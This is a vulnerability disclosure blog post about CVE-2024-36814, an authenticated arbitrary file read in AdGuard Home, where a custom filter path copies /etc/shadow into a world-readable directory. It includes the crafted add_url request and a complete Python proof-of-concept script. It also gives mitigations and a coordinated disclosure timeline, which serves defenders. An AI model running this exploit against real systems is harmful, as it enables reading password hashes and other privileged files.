Post

CVE-2024-36814 - Adguard Home Arbitrary File Read

Adguard Home Arbitrary File Read

TL;DR - Adguard Home deployments using versions 0.107.52 or lower are vulnerable to Arbitrary File Read which allowed a local authenticated user to target privileged files as a custom filter. This will read the contents of the file and write it to a world-readable file elsewhere on the underlying host. Did someone say /etc/shadow?

Shoutout

We want to start by giving a huge shoutout to the Adguard Home team (particularly Ainar!). Adguard Home was receptive of the issue, and their communication, responsiveness and willingness to collaborate made all the difference. We truly appreciated it!

Technical details

What is it?

AdGuard Home is a network-wide solution for blocking ads and tracking. It’s a great alternative to things like PiHole. The usage model is that users can set up and deploy Adguard Home within their network and start blocking ads network-wide. It operates as a DNS server that re-routes tracking domains to a “black hole”, thus preventing your devices from connecting to those servers.

What was wrong?

When interacting with Adguard Home we found that it allowed users to define custom filter lists to enhance their ad-blocking. This feature enables users to tailor their experience by adding specific filters that suit their needs, whether it’s blocking particular domains, ads, or trackers. These custom filters can be provided by the user via a URL or an absolute file path. You can see where we are going… If you can’t, that’s all good, come along for the ride 🙂!

Adguard Home has two categories of installation methods, which are the “Automated install” and “Alternative methods”. So for the purpose of this write up we will focus on the former of the two, which is an installation script that can be seen here. This script, when run using one of the provided commands (in my case ill be using curl) curl -s -S -L https://raw.githubusercontent.com/AdguardTeam/AdGuardHome/master/scripts/install.sh | sh -s -- -v requires root permissions to configure and install Adguard home. Presumably, this is for ease of use for the end user installing Adguard Home, and to run the Adguard DNS server on port 53, which is considered a “privileged port”.

The following snippet is from the aforementioned script which checks if it has been run as root in the is_root() function, note the comment which states ‘note that AdGuard Home requires root privileges to install using this script’:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Function is_root checks for root privileges to be granted.
is_root() {
  if [ "$( id -u )" -eq '0' ]
    then
      log 'script is executed with root privileges'
      return 0
  fi

  if is_command "$sudo_cmd"
    then
      log 'note that AdGuard Home requires root privileges to install using this script'
      return 1
  fi
  error_exit \
  'root privileges are required to install AdGuard Home using this script
   please, restart it with root privileges'
}

Upon completion of the installation process, the Adguard Home service is installed, and a web server is stood up waiting for the user to start and complete the setup process. Once completed, Adguard Home writes a yaml file called AdguardHome.yml to the /opt/AdGuardHome directory, containing all the configuration information required for the Adguard Home service. Interestingly enough this file is written with -rw-r--r-- permissions, indicating anyone can read its contents. This is shown by the following ls -la command output:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(itz-d0dgy㉿fuji-xerox)-[/opt/AdGuardHome]
└─$ ls -la
total 29904
drwxrwxrwx 3 root root     4096 Jul 30 21:12 .
drwxr-xr-x 3 root root     4096 Jul 30 21:12 ..
-rwxrwxrwx 1 root root 30417048 Jul  5 03:44 AdGuardHome
-rw-rw-rw- 1 root root      566 Jul  5 03:44 AdGuardHome.sig
-rw-r--r-- 1 root root     3665 Jul 30 21:12 AdGuardHome.yaml
-rw-r--r-- 1 root root   117539 Jul  5 03:44 CHANGELOG.md
-rw-r--r-- 1 root root    35149 Jul  5 03:44 LICENSE.txt
-rw-r--r-- 1 root root    21812 Jul  5 03:44 README.md
drwxr-xr-x 3 root root     4096 Jul 30 21:12 data

It also looks like someone could also replace the AdGuardHome binary due to the -rwxrwxrwx permissions. Which was later confirmed by go-compiles CVE, go check it out!

When running cat on the file we can see that the configuration contains a “users” section, with a username, and a password hash ripe for the taking:

1
2
3
4
5
6
7
8
9
┌──(itz-d0dgy㉿fuji-xerox)-[/opt/AdGuardHome]
└─$ cat AdGuardHome.yaml 
[SNIP]

users:
  - name: admin
    password: $2a$10$TQfdZeCc66GpyjsRSTO10.Ug2DKVjv8M8WrrHLH6ghsRtoZI84Cyi

[SNIP]

Now, assuming the user does not have access to the Adguard Home dashboard, they can take this hash and attempt to crack it offline. It may take some time though, as the hash is 10 rounds of bcrypt, and users, especially administrators, tend to use strong passwords… right?

Meme on password stats from 2023

For the purposes of this blog, we are going to assume either the user in question already has access to the Adguard Home dashboard or the hash was successfully cracked (admin1234), resulting in access to the Adguard Home dashboard. As mentioned earlier, Adguard Home allows users to define a custom filter list which can be provided by the user via a URL or an absolute file path. Adding one is as simple as navigating to /#filters, clicking add block/allow list > add a custom list > and putting in the required URL or absolute file path… say /etc/shadow. This will result in an HTTP POST request to /control/filtering/add_url, which looks something like this:

1
2
3
4
5
6
7
8
POST /control/filtering/add_url HTTP/1.1
[SNIP]

{
  "url":"/etc/shadow",
  "name":"test",
  "whitelist":false
}

And the addition of /etc/shadow to the DNS blocklists as indicated by the “Rules count” in the screenshot below:

Adguard Filters

But you may be asking yourself… where are my hashes??? Well do you remember that world-readable directory I mentioned earlier? It has a subdirectory in there called data and inside that, a directory called filters. Let’s go take a look inside shall we?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(itz-d0dgy㉿fuji-xerox)-[/opt/AdGuardHome]
└─$ cat data/filters/1722330776.txt 
root:!:19812:0:99999:7:::
daemon:*:19812:0:99999:7:::
bin:*:19812:0:99999:7:::
sys:*:19812:0:99999:7:::
sync:*:19812:0:99999:7:::
games:*:19812:0:99999:7:::
man:*:19812:0:99999:7:::
lp:*:19812:0:99999:7:::
mail:*:19812:0:99999:7:::
news:*:19812:0:99999:7:::
uucp:*:19812:0:99999:7:::
proxy:*:19812:0:99999:7:::
www-data:*:19812:0:99999:7:::
backup:*:19812:0:99999:7:::
list:*:19812:0:99999:7:::
irc:*:19812:0:99999:7:::
_apt:*:19812:0:99999:7:::
nobody:*:19812:0:99999:7:::
systemd-network:!*:19812::::::
tss:!:19812::::::
systemd-timesync:!*:19812::::::
messagebus:!:19812::::::
usbmux:!:19812::::::
tcpdump:!:19812::::::
sshd:!:19812::::::
dnsmasq:!:19812::::::
avahi:!:19812::::::
speech-dispatcher:!:19812::::::
fwupd-refresh:!*:19812::::::
saned:!:19812::::::
polkitd:!*:19812::::::
rtkit:!:19812::::::
colord:!:19812::::::
Debian-gdm:!:19812::::::
itz-d0dgy:$y$j9T$I5yv6[REDACTED]

Did Adguard Home, just copy /etc/shadow? Why… yes, yes it did!

Putting it all together!

Now there are a lot of steps to this, so here is a short clip of my PoC in action written in Python:

If you want to try it yourself, here is the Python script, I hope it works if you want to try it out (it worked for me 😂):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import json
import argparse
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
from random import randrange

def authenticate(name, password, url):
  payload = { "name": name, "password": password }
  headers = { "Content-Type": "application/json" }
  response = requests.post(url + "/control/login", data=json.dumps(payload), headers=headers)

  if response.status_code == 200:
    return response.headers.get("Set-Cookie")
  else:
    print(f"Authentication failed: {response.status_code}")

def arb_read( file, cookie, url ):
  payload1 = { "url":file, "whitelist": False }
  payload2 = { "url":file, "name": str(randrange(10000)), "whitelist": False }
  headers = { "Content-Type": "application/json", "Cookie": cookie }
  requests.post(url + "/control/filtering/remove_url", data=json.dumps(payload1), headers=headers)
  response = requests.post(url + "/control/filtering/add_url", data=json.dumps(payload2), headers=headers)

def setup(url, name, password, directory, file):
  class NewFileHandler(FileSystemEventHandler):
    def on_created(self, event):
      if not event.is_directory:
        print(f"New file created: {event.src_path}")
        file_path = event.src_path
        try:
          with open(file_path, "r") as file:
            contents = file.read()
            print("File contents:")
            print(contents)
        except Exception as e:
          print(f"Error reading file: {e}")

    event_handler = NewFileHandler()
    observer = Observer()
    observer.schedule(event_handler, directory, recursive=True)
    observer.start()
    print(f"Watching directory: {directory}")
    try:
      cookie = authenticate(name, password, url)
      arb_read(file, cookie, url)
      while True:
        time.sleep(1)
    except KeyboardInterrupt:
      observer.stop()
    observer.join()

if __name__ == "__main__":
  parser = argparse.ArgumentParser(description="Make an HTTP POST request with JSON payload")
  parser.add_argument("url", type=str, help="URL to make the POST request to")
  parser.add_argument("name", type=str, help="Username for authentication")
  parser.add_argument("password", type=str, help="Password for authentication")
  parser.add_argument("directory", type=str, help="Directory to watch for new files")
  parser.add_argument("file", type=str, help="File you want")
  args = parser.parse_args()

  setup(args.url, args.name, args.password, args.directory, args.file)

Good practice

There are several issues here that allowed this exploitation chain. Preventing any one of them would have made this exploit significantly harder if not impossible.

  1. Implementing an allowlist of directories that files can be read from. This would prevent any potentially sensitive files from being read by validating and restricting the paths provided.
  2. Implementing adequate file permissions, by preventing unprivileged users from reading any copied files. This would prevent any user from reading the now copied files in the /opt/AdguardHome directory.
  3. Implementing the ability to “drop root”. This would allow Adguard Home to start up as root, bind to the privileged port, and drop its privileges after.
  4. Implement the CAP_NET_BIND_SERVICE capability by default. This would allow Adguard Home to start up as a low privileged user and bind to any privileged port. Although there seems to be a lot of arguments for and against this so ¯\(ツ)

Disclosure timeline

  • 05/04/2024: Adguard Home Authenticated Arbitrary File Read Discovered
  • 06/04/2024: Adguard Home Authenticated Arbitrary File Read Disclosed
  • 07/04/2024: Vendor acknowledges receipt of the disclosure
  • 24/04/2024: Vendor validates vulnerability disclosure and requests extended time frame to fix
  • 24/05/2024: Applied for MITRE CVE (with permission from the Adguard Home team)
  • 12/06/2024: Vendor provides fix for feedback
  • 08/06/2024: CVE-2024-36814 reserved
  • 05/07/2024: Tested vendor fix
  • 09/07/2024: Vendor asked for an extension due to windows causing issues

  • 04/10/2024: Vendor releases 0.107.53 with patch for linux and mitigation for windows
  • 07/10/2024: Blog Post released

Reporters

This post is licensed under CC BY 4.0 by the author.